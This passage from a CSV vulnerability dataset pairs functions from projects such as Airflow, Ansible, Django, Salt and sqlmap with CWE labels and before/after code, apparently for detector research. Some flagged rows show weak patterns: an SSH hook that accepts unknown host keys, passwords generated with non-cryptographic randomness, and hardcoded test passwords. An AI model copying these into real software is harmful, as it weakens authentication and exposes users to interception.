                uresp['json'] = js
            except:
                pass
    else:
        u_content = unicode(content, content_encoding, errors='replace')

    if resp['status'] not in status_code:
        uresp['msg'] = 'Status code was not %s: %s' % (status_code, uresp.get('msg', ''))
        module.fail_json(content=u_content, **uresp)
    elif return_content:
        module.exit_json(changed=changed, content=u_content, **uresp)
    else:
        module.exit_json(changed=changed, **uresp)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/http1connection.py,0,"def _can_keep_alive(self, start_line, headers):
        if self.params.no_keep_alive:
            return False
        connection_header = headers.get(""Connection"")
        if connection_header is not None:
            connection_header = connection_header.lower()
        if start_line.version == ""HTTP/1.1"":
            return connection_header != ""close""
        elif (""Content-Length"" in headers or
              headers.get(""Transfer-Encoding"", """").lower() == ""chunked"" or
              getattr(start_line, 'method', None) in (""HEAD"", ""GET"")):
            # start_line may be a request or response start line; only
            # the former has a method attribute.
            return connection_header == ""keep-alive""
        return False",CWE-Unknown,tornadoweb/tornado,56f62f5e52ef2a2df7d565f1c350df54c0bed303,"def _can_keep_alive(self, start_line, headers):
        if self.params.no_keep_alive:
            return False
        connection_header = headers.get(""Connection"")
        if connection_header is not None:
            connection_header = connection_header.lower()
        if start_line.version == ""HTTP/1.1"":
            return connection_header != ""close""
        elif (""Content-Length"" in headers or
              headers.get(""Transfer-Encoding"", """").lower() == ""chunked"" or
              getattr(start_line, 'method', None) in (""HEAD"", ""GET"")):
            # start_line may be a request or reponse start line; only
            # the former has a method attribute.
            return connection_header == ""keep-alive""
        return False"
,UNKNOWN,UNKNOWN,airflow/providers/ssh/hooks/ssh.py,1,"def get_conn(self) -> paramiko.SSHClient:
        """"""Opens an SSH connection to the remote host.""""""
        self.log.debug(""Creating SSH client for conn_id: %s"", self.ssh_conn_id)
        client = paramiko.SSHClient()

        if self.allow_host_key_change:
            self.log.warning(
                ""Remote Identification Change is not verified. ""
                ""This won't protect against Man-In-The-Middle attacks""
            )
            # to avoid BadHostKeyException, skip loading host keys
            client.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy)
        else:
            client.load_system_host_keys()

        if self.no_host_key_check:
            self.log.warning(""No Host Key Verification. This won't protect against Man-In-The-Middle attacks"")
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())  # nosec B507
            # to avoid BadHostKeyException, skip loading and saving host keys
            known_hosts = os.path.expanduser(""~/.ssh/known_hosts"")
            if not self.allow_host_key_change and os.path.isfile(known_hosts):
                client.load_host_keys(known_hosts)

        elif self.host_key is not None:
            # Get host key from connection extra if it not set or None then we fallback to system host keys
            client_host_keys = client.get_host_keys()
            if self.port == SSH_PORT:
                client_host_keys.add(self.remote_host, self.host_key.get_name(), self.host_key)
            else:
                client_host_keys.add(
                    f""[{self.remote_host}]:{self.port}"", self.host_key.get_name(), self.host_key
                )

        connect_kwargs: dict[str, Any] = {
            ""hostname"": self.remote_host,
            ""username"": self.username,
            ""timeout"": self.conn_timeout,
            ""compress"": self.compress,
            ""port"": self.port,
            ""sock"": self.host_proxy,
            ""look_for_keys"": self.look_for_keys,
            ""banner_timeout"": self.banner_timeout,
        }

        if self.password:
            password = self.password.strip()
            connect_kwargs.update(password=password)

        if self.pkey:
            connect_kwargs.update(pkey=self.pkey)

        if self.key_file:
            connect_kwargs.update(key_filename=self.key_file)

        if self.disabled_algorithms:
            connect_kwargs.update(disabled_algorithms=self.disabled_algorithms)

        def log_before_sleep(retry_state):
            return self.log.info(
                ""Failed to connect. Sleeping before retry attempt %d"", retry_state.attempt_number
            )

        for attempt in Retrying(
            reraise=True,
            wait=wait_fixed(3) + wait_random(0, 2),
            stop=stop_after_attempt(3),
            before_sleep=log_before_sleep,
        ):
            with attempt:
                client.connect(**connect_kwargs)

        if self.keepalive_interval:
            # MyPy check ignored because ""paramiko"" isn't well-typed. The `client.get_transport()` returns
            # type ""Transport | None"" and item ""None"" has no attribute ""set_keepalive"".
            client.get_transport().set_keepalive(self.keepalive_interval)  # type: ignore[union-attr]

        if self.ciphers:
            # MyPy check ignored because ""paramiko"" isn't well-typed. The `client.get_transport()` returns
            # type ""Transport | None"" and item ""None"" has no method `get_security_options`"".
            client.get_transport().get_security_options().ciphers = self.ciphers  # type: ignore[union-attr]

        self.client = client
        return client",CWE-295,apache/airflow,343bac956b48aac80a7daaf0715e04d2cc37b373,"def get_conn(self) -> paramiko.SSHClient:
        """"""Opens an SSH connection to the remote host.""""""
        self.log.debug(""Creating SSH client for conn_id: %s"", self.ssh_conn_id)
        client = paramiko.SSHClient()

        if self.allow_host_key_change:
            self.log.warning(
                ""Remote Identification Change is not verified. ""
                ""This won't protect against Man-In-The-Middle attacks""
            )
            # to avoid BadHostKeyException, skip loading host keys
            client.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy)
        else:
            client.load_system_host_keys()

        if self.no_host_key_check:
            self.log.warning(""No Host Key Verification. This won't protect against Man-In-The-Middle attacks"")
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            # to avoid BadHostKeyException, skip loading and saving host keys
            known_hosts = os.path.expanduser(""~/.ssh/known_hosts"")
            if not self.allow_host_key_change and os.path.isfile(known_hosts):
                client.load_host_keys(known_hosts)

        elif self.host_key is not None:
            # Get host key from connection extra if it not set or None then we fallback to system host keys
            client_host_keys = client.get_host_keys()
            if self.port == SSH_PORT:
                client_host_keys.add(self.remote_host, self.host_key.get_name(), self.host_key)
            else:
                client_host_keys.add(
                    f""[{self.remote_host}]:{self.port}"", self.host_key.get_name(), self.host_key
                )

        connect_kwargs: dict[str, Any] = {
            ""hostname"": self.remote_host,
            ""username"": self.username,
            ""timeout"": self.conn_timeout,
            ""compress"": self.compress,
            ""port"": self.port,
            ""sock"": self.host_proxy,
            ""look_for_keys"": self.look_for_keys,
            ""banner_timeout"": self.banner_timeout,
        }

        if self.password:
            password = self.password.strip()
            connect_kwargs.update(password=password)

        if self.pkey:
            connect_kwargs.update(pkey=self.pkey)

        if self.key_file:
            connect_kwargs.update(key_filename=self.key_file)

        if self.disabled_algorithms:
            connect_kwargs.update(disabled_algorithms=self.disabled_algorithms)

        def log_before_sleep(retry_state):
            return self.log.info(
                ""Failed to connect. Sleeping before retry attempt %d"", retry_state.attempt_number
            )

        for attempt in Retrying(
            reraise=True,
            wait=wait_fixed(3) + wait_random(0, 2),
            stop=stop_after_attempt(3),
            before_sleep=log_before_sleep,
        ):
            with attempt:
                client.connect(**connect_kwargs)

        if self.keepalive_interval:
            # MyPy check ignored because ""paramiko"" isn't well-typed. The `client.get_transport()` returns
            # type ""Transport | None"" and item ""None"" has no attribute ""set_keepalive"".
            client.get_transport().set_keepalive(self.keepalive_interval)  # type: ignore[union-attr]

        if self.ciphers:
            # MyPy check ignored because ""paramiko"" isn't well-typed. The `client.get_transport()` returns
            # type ""Transport | None"" and item ""None"" has no method `get_security_options`"".
            client.get_transport().get_security_options().ciphers = self.ciphers  # type: ignore[union-attr]

        self.client = client
        return client"
,UNKNOWN,UNKNOWN,django/utils/functional.py,1,"def __prepare_class__(cls):
            cls.__dispatch = {}
            for resultclass in resultclasses:
                cls.__dispatch[resultclass] = {}
                for type_ in reversed(resultclass.mro()):
                    for (k, v) in type_.__dict__.items():
                        # All __promise__ return the same wrapper method, but they
                        # also do setup, inserting the method into the dispatch
                        # dict.
                        meth = cls.__promise__(resultclass, k, v)
                        if hasattr(cls, k):
                            continue
                        setattr(cls, k, meth)
            cls._delegate_str = str in resultclasses
            cls._delegate_unicode = unicode in resultclasses
            assert not (cls._delegate_str and cls._delegate_unicode), ""Cannot call lazy() with both str and unicode return types.""
            if cls._delegate_unicode:
                cls.__unicode__ = cls.__unicode_cast
            elif cls._delegate_str:
                cls.__str__ = cls.__str_cast",CWE-703,django/django,23b32c75545e1f48e059fae125f94314a99dcb89,"def __prepare_class__(cls):
            cls.__dispatch = {}
            for resultclass in resultclasses:
                cls.__dispatch[resultclass] = {}
                for (k, v) in resultclass.__dict__.items():
                    # All __promise__ return the same wrapper method, but they
                    # also do setup, inserting the method into the dispatch
                    # dict.
                    meth = cls.__promise__(resultclass, k, v)
                    if hasattr(cls, k):
                        continue
                    setattr(cls, k, meth)
            cls._delegate_str = str in resultclasses
            cls._delegate_unicode = unicode in resultclasses
            assert not (cls._delegate_str and cls._delegate_unicode), ""Cannot call lazy() with both str and unicode return types.""
            if cls._delegate_unicode:
                cls.__unicode__ = cls.__unicode_cast
            elif cls._delegate_str:
                cls.__str__ = cls.__str_cast"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/handler.py,0,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    items = [
                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

    _ = max(_ if (Backend.getIdentifiedDbms() or """").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for dbms, aliases, Handler, Connector in items:
        handler = Handler()
        conf.dbmsConnector = Connector()

        if conf.direct:
            dialect = DBMS_DICT[dbms][3]

            if dialect:
                sqlalchemy = SQLAlchemy(dialect=dialect)
                sqlalchemy.connect()

                if sqlalchemy.connector:
                    conf.dbmsConnector = sqlalchemy
                else:
                    try:
                        conf.dbmsConnector.connect()
                    except NameError:
                        pass
            else:
                conf.dbmsConnector.connect()

        if handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
            else:
                conf.dbmsHandler = handler

            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()",,sqlmapproject/sqlmap,60e8c725f95c71ef3586b0578e1b8883a5d52c3b,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    items = [
                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

    _ = max(_ if (Backend.getIdentifiedDbms() or """").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for dbms, aliases, Handler, Connector in items:
        if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases:
            debugMsg = ""skipping test for %s"" % dbms
            logger.debug(debugMsg)
            continue

        handler = Handler()
        conf.dbmsConnector = Connector()

        if conf.direct:
            dialect = DBMS_DICT[dbms][3]

            if dialect:
                sqlalchemy = SQLAlchemy(dialect=dialect)
                sqlalchemy.connect()

                if sqlalchemy.connector:
                    conf.dbmsConnector = sqlalchemy
                else:
                    try:
                        conf.dbmsConnector.connect()
                    except NameError:
                        pass
            else:
                conf.dbmsConnector.connect()

        if handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
            else:
                conf.dbmsHandler = handler

            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/check_syscall.py,0,"def get_syscalls(self, index_lines = None, get_hidden = False):
        linux_common.set_plugin_members(self)

        if get_hidden:
            hidden_mods = list(linux_hidden_modules.linux_hidden_modules(self._config).calculate())
        else:
            hidden_mods = []    
    
        visible_mods = linux_lsmod.linux_lsmod(self._config).calculate()

        if not index_lines:
            index_lines = self._find_and_parse_index_file()

        if index_lines:
            index_names = {}
            for line in index_lines.split(""\n""): 
                ents = line.split()

                if len(ents) == 3 and ents[0] == ""#define"":
                    name  = ents[1].replace(""__NR_"", """")

                    # ""(__NR_timer_create+1)""
                    index = ents[2] 
                    if index[0] == ""("":
                        index = self._find_index(index_names, index)
                    else:
                        try:
                            index = int(index)
                        except ValueError:
                            index = 999999  #well beyond any valid table index

                    index_names[index] = name
        else:
            index_names = None

        table_name = self.addr_space.profile.metadata.get('memory_model', '32bit')
        sym_addrs = self.profile.get_all_addresses()
        sys_call_info = self._get_table_info(""sys_call_table"")
        addrs = [(table_name, sys_call_info)]

        # 64 bit systems with 32 bit emulation
        ia32 = self.addr_space.profile.get_symbol(""ia32_sys_call_table"")
        if ia32:
            ia32_info = self._get_table_info(""ia32_sys_call_table"")
            addrs.append((""32bit"", ia32_info))

        for (table_name, (tableaddr, tblsz)) in addrs:
            table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = 'unsigned long', count = tblsz)

            for (i, call_addr) in enumerate(table):
                if not call_addr:
                    continue

                if index_names:
                    idx_name = self._index_name(index_names, i)
                else:
                    idx_name = """"

                call_addr = int(call_addr)

                if not call_addr in sym_addrs:
                    hooked = 1

                    sym_name = self._compute_hook_sym_name(visible_mods, hidden_mods, call_addr)
                else:
                    hooked = 0 
                    sym_name = self.profile.get_symbol_by_address(""kernel"", call_addr)

                yield (tableaddr, table_name, i, idx_name, call_addr, sym_name, hooked)",,volatilityfoundation/volatility,ec096852136afc6fb85726541f21f1aaa33eec7d,"def get_syscalls(self, index_lines = None, get_hidden = False):
        linux_common.set_plugin_members(self)

        if get_hidden:
            hidden_mods = list(linux_hidden_modules.linux_hidden_modules(self._config).calculate())
        else:
            hidden_mods = []    
    
        visible_mods = linux_lsmod.linux_lsmod(self._config).calculate()

        if not index_lines:
            index_lines = self._find_and_parse_index_file()

        if index_lines:
            index_names = {}
            for line in index_lines.split(""\n""): 
                ents = line.split()

                if len(ents) == 3 and ents[0] == ""#define"":
                    name  = ents[1].replace(""__NR_"", """")

                    # ""(__NR_timer_create+1)""
                    index = ents[2] 
                    if index[0] == ""("":
                        index = self._find_index(index_names, index)
                    else:
                        index = int(index)
        
                    index_names[index] = name
        else:
            index_names = None

        table_name = self.addr_space.profile.metadata.get('memory_model', '32bit')
        sym_addrs = self.profile.get_all_addresses()
        sys_call_info = self._get_table_info(""sys_call_table"")
        addrs = [(table_name, sys_call_info)]

        # 64 bit systems with 32 bit emulation
        ia32 = self.addr_space.profile.get_symbol(""ia32_sys_call_table"")
        if ia32:
            ia32_info = self._get_table_info(""ia32_sys_call_table"")
            addrs.append((""32bit"", ia32_info))

        for (table_name, (tableaddr, tblsz)) in addrs:
            table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = 'unsigned long', count = tblsz)

            for (i, call_addr) in enumerate(table):
                if not call_addr:
                    continue

                if index_names:
                    idx_name = self._index_name(index_names, i)
                else:
                    idx_name = """"

                call_addr = int(call_addr)

                if not call_addr in sym_addrs:
                    hooked = 1

                    sym_name = self._compute_hook_sym_name(visible_mods, hidden_mods, call_addr)
                else:
                    hooked = 0 
                    sym_name = self.profile.get_symbol_by_address(""kernel"", call_addr)

                yield (tableaddr, table_name, i, idx_name, call_addr, sym_name, hooked)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_class_and_artifacts.py,0,"def load_context(self, context):
            super().load_context(context)
            # pylint: disable=attribute-defined-outside-init
            self.model = mlflow.sklearn.load_model(model_uri=context.artifacts[""sk_model""])",,mlflow/mlflow,9ebab719e53fb3924ea21434d4fe45b9868daf8a,"def load_context(self, context):
            super().load_context(context)
            # pylint: disable=attribute-defined-outside-init
            self.model = mlflow.sklearn.load_model(model_uri=context.artifacts[""sk_model""])"
,UNKNOWN,UNKNOWN,tests/unit/test_cloud.py,1,"def test_cloud_map_merge_conf(self):
        """"""
        Ensure that nested values can be selectivly overridden in a map file
        """"""
        with patch(
            ""salt.config.check_driver_dependencies"", MagicMock(return_value=True)
        ), patch(""salt.cloud.Map.read"", MagicMock(return_value=EXAMPLE_MAP)):
            self.maxDiff = None
            opts = salt.config.cloud_config(
                os.path.join(RUNTIME_VARS.TMP_CONF_DIR, ""cloud"")
            )
            opts.update(
                {
                    ""optimization_order"": [0, 1, 2],
                    ""providers"": EXAMPLE_PROVIDERS,
                    ""profiles"": EXAMPLE_PROFILES,
                }
            )
            cloud_map = salt.cloud.Map(opts)

            merged_profile = {
                ""create"": {
                    ""db1"": {
                        ""cluster"": ""nycvirt"",
                        ""cpus"": 4,
                        ""datastore"": ""datastore1"",
                        ""devices"": {
                            ""disk"": {
                                ""Hard disk 1"": {
                                    ""controller"": ""SCSI controller 1"",
                                    ""size"": 40,
                                }
                            },
                            ""network"": {
                                ""Network Adapter 1"": {
                                    ""mac"": ""22:4a:b2:92:b3:eb"",
                                    ""name"": ""vlan50"",
                                    ""switch_type"": ""standard"",
                                }
                            },
                            ""scsi"": {""SCSI controller 1"": {""type"": ""paravirtual""}},
                        },
                        ""driver"": ""vmware"",
                        ""extra_config"": {""mem.hotadd"": ""yes""},
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""16GB"",
                        ""minion"": {
                            ""grains"": {
                                ""mapgrain"": True,
                                ""profilegrain"": True,
                                ""providergrain"": True,
                            },
                            ""master"": ""mapmaster"",
                        },
                        ""name"": ""db1"",
                        ""num_cpus"": 2,
                        ""password"": ""123456"",
                        ""power_on"": True,
                        ""profile"": ""nyc-vm"",
                        ""provider"": ""nyc_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca1.saltstack.com"",
                        ""user"": ""root"",
                    },
                    ""db2"": {
                        ""cluster"": ""nycvirt"",
                        ""datastore"": ""datastore1"",
                        ""devices"": {
                            ""disk"": {
                                ""Hard disk 1"": {
                                    ""controller"": ""SCSI controller 1"",
                                    ""size"": 20,
                                }
                            },
                            ""network"": {
                                ""Network Adapter 1"": {
                                    ""mac"": ""88:88:88:88:88:42"",
                                    ""name"": ""vlan50"",
                                    ""switch_type"": ""standard"",
                                }
                            },
                            ""scsi"": {""SCSI controller 1"": {""type"": ""paravirtual""}},
                        },
                        ""driver"": ""vmware"",
                        ""extra_config"": {""mem.hotadd"": ""yes""},
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""8GB"",
                        ""minion"": {
                            ""grains"": {""profilegrain"": True, ""providergrain"": True},
                            ""master"": ""profilemaster"",
                        },
                        ""name"": ""db2"",
                        ""num_cpus"": 2,
                        ""password"": ""456"",
                        ""power_on"": True,
                        ""profile"": ""nyc-vm"",
                        ""provider"": ""nj_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca2.saltstack.com"",
                        ""user"": ""root"",
                    },
                    ""db3"": {
                        ""cluster"": ""njvirt"",
                        ""driver"": ""vmware"",
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""8GB"",
                        ""minion"": {
                            ""grains"": {""providergrain"": True},
                            ""master"": ""providermaster"",
                        },
                        ""name"": ""db3"",
                        ""num_cpus"": 2,
                        ""password"": ""789"",
                        ""power_on"": True,
                        ""profile"": ""nj-vm"",
                        ""provider"": ""nj_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca2.saltstack.com"",
                        ""user"": ""root"",
                    },
                }
            }

            # what we assert above w.r.t db2 using nj_vcenter:vmware provider:
            # - url is from the overridden nj_vcenter provider, not nyc_vcenter
            # - image from provider is still overridden by the nyc-vm profile
            # - password from map override is still overriding both the provider and profile password
            #
            # what we assert above about grain handling ( and provider/profile/map data in general )
            # - provider grains are able to be overridden by profile data
            # - provider grain sare overridden by map data
            # - profile data is overridden by map data
            # ie, the provider->profile->map inheritance works as expected
            map_data = cloud_map.map_data()
            self.assertEqual(map_data, merged_profile)","CWE-259, CWE-703",saltstack/salt,ebd3ebe67ed1c89377156e4a2478560c406f9235,"def test_cloud_map_merge_conf(self):
        """"""
        Ensure that nested values can be selectivly overridden in a map file
        """"""
        with patch(
            ""salt.config.check_driver_dependencies"", MagicMock(return_value=True)
        ), patch(""salt.cloud.Map.read"", MagicMock(return_value=EXAMPLE_MAP)):
            self.maxDiff = None
            opts = salt.config.cloud_config(
                os.path.join(RUNTIME_VARS.TMP_CONF_DIR, ""cloud"")
            )
            opts.update(
                {
                    ""optimization_order"": [0, 1, 2],
                    ""providers"": EXAMPLE_PROVIDERS,
                    ""profiles"": EXAMPLE_PROFILES,
                }
            )
            cloud_map = salt.cloud.Map(opts)

            merged_profile = {
                ""create"": {
                    ""db1"": {
                        ""cluster"": ""nycvirt"",
                        ""cpus"": 4,
                        ""datastore"": ""datastore1"",
                        ""devices"": {
                            ""disk"": {
                                ""Hard disk 1"": {
                                    ""controller"": ""SCSI controller 1"",
                                    ""size"": 40,
                                }
                            },
                            ""network"": {
                                ""Network Adapter 1"": {
                                    ""mac"": ""22:4a:b2:92:b3:eb"",
                                    ""name"": ""vlan50"",
                                    ""switch_type"": ""standard"",
                                }
                            },
                            ""scsi"": {""SCSI controller 1"": {""type"": ""paravirtual""}},
                        },
                        ""driver"": ""vmware"",
                        ""extra_config"": {""mem.hotadd"": ""yes""},
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""16GB"",
                        ""minion"": {
                            ""grains"": {
                                ""mapgrain"": True,
                                ""profilegrain"": True,
                                ""providergrain"": True,
                            },
                            ""master"": ""mapmaster"",
                        },
                        ""name"": ""db1"",
                        ""num_cpus"": 2,
                        ""password"": ""123456"",
                        ""power_on"": True,
                        ""profile"": ""nyc-vm"",
                        ""provider"": ""nyc_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca1.saltstack.com"",
                        ""user"": ""root"",
                    },
                    ""db2"": {
                        ""cluster"": ""nycvirt"",
                        ""datastore"": ""datastore1"",
                        ""devices"": {
                            ""disk"": {
                                ""Hard disk 1"": {
                                    ""controller"": ""SCSI controller 1"",
                                    ""size"": 20,
                                }
                            },
                            ""network"": {
                                ""Network Adapter 1"": {
                                    ""mac"": ""88:88:88:88:88:42"",
                                    ""name"": ""vlan50"",
                                    ""switch_type"": ""standard"",
                                }
                            },
                            ""scsi"": {""SCSI controller 1"": {""type"": ""paravirtual""}},
                        },
                        ""driver"": ""vmware"",
                        ""extra_config"": {""mem.hotadd"": ""yes""},
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""8GB"",
                        ""minion"": {
                            ""grains"": {""profilegrain"": True, ""providergrain"": True},
                            ""master"": ""profilemaster"",
                        },
                        ""name"": ""db2"",
                        ""num_cpus"": 2,
                        ""password"": ""456"",
                        ""power_on"": True,
                        ""profile"": ""nyc-vm"",
                        ""provider"": ""nj_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca2.saltstack.com"",
                        ""user"": ""root"",
                    },
                    ""db3"": {
                        ""cluster"": ""njvirt"",
                        ""driver"": ""vmware"",
                        ""folder"": ""coreinfra"",
                        ""image"": ""rhel6_64Guest"",
                        ""memory"": ""8GB"",
                        ""minion"": {
                            ""grains"": {""providergrain"": True},
                            ""master"": ""providermaster"",
                        },
                        ""name"": ""db3"",
                        ""num_cpus"": 2,
                        ""password"": ""789"",
                        ""power_on"": True,
                        ""profile"": ""nj-vm"",
                        ""provider"": ""nj_vcenter:vmware"",
                        ""resourcepool"": ""Resources"",
                        ""url"": ""vca2.saltstack.com"",
                        ""user"": ""root"",
                    },
                }
            }

            # what we assert above w.r.t db2 using nj_vcenter:vmware provider:
            # - url is from the overriden nj_vcenter provider, not nyc_vcenter
            # - image from provider is still overridden by the nyc-vm profile
            # - password from map override is still overriding both the provider and profile password
            #
            # what we assert above about grain handling ( and provider/profile/map data in general )
            # - provider grains are able to be overridden by profile data
            # - provider grain sare overridden by map data
            # - profile data is overriden by map data
            # ie, the provider->profile->map inheritance works as expected
            map_data = cloud_map.map_data()
            self.assertEqual(map_data, merged_profile)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/gis_tests/geoapp/tests.py,0,"def test_isvalid_lookup(self):
        invalid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 1 1, 1 0, 0 0))')
        State.objects.create(name='invalid', poly=invalid_geom)
        qs = State.objects.all()
        if oracle or (mysql and connection.mysql_version < (8, 0, 0)):
            # Kansas has adjacent vertices with distance 6.99244813842e-12
            # which is smaller than the default Oracle tolerance.
            # It's invalid on MySQL < 8 also.
            qs = qs.exclude(name='Kansas')
            self.assertEqual(State.objects.filter(name='Kansas', poly__isvalid=False).count(), 1)
        self.assertEqual(qs.filter(poly__isvalid=False).count(), 1)
        self.assertEqual(qs.filter(poly__isvalid=True).count(), qs.count() - 1)",CWE-Unknown,django/django,f98e1c01eafa724cb87772ae03b3fd1158e9fd50,"def test_isvalid_lookup(self):
        invalid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 1 1, 1 0, 0 0))')
        State.objects.create(name='invalid', poly=invalid_geom)
        qs = State.objects.all()
        if oracle or mysql:
            # Kansas has adjacent vertices with distance 6.99244813842e-12
            # which is smaller than the default Oracle tolerance.
            # It's invalid on MySQL too.
            qs = qs.exclude(name='Kansas')
            self.assertEqual(State.objects.filter(name='Kansas', poly__isvalid=False).count(), 1)
        self.assertEqual(qs.filter(poly__isvalid=False).count(), 1)
        self.assertEqual(qs.filter(poly__isvalid=True).count(), qs.count() - 1)"
,UNKNOWN,UNKNOWN,test/runner/lib/util.py,1,"def generate_password():
    """"""Generate a random password.
    :rtype: str
    """"""
    chars = [
        string.ascii_letters,
        string.digits,
        string.ascii_letters,
        string.digits,
        '-',
    ] * 4

    password = ''.join([random.choice(char) for char in chars[:-1]])

    display.sensitive.add(password)

    return password",CWE-330,ansible/ansible,66450543297041873c04b97fbf5a89c5222f3dc7,"def generate_password():
    """"""Generate a random password.
    :rtype: str
    """"""
    chars = [
        string.ascii_letters,
        string.digits,
        string.ascii_letters,
        string.digits,
        '-',
    ] * 4

    password = ''.join([random.choice(char) for char in chars[:-1]])

    display.sensitive.add(password)

    return password"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
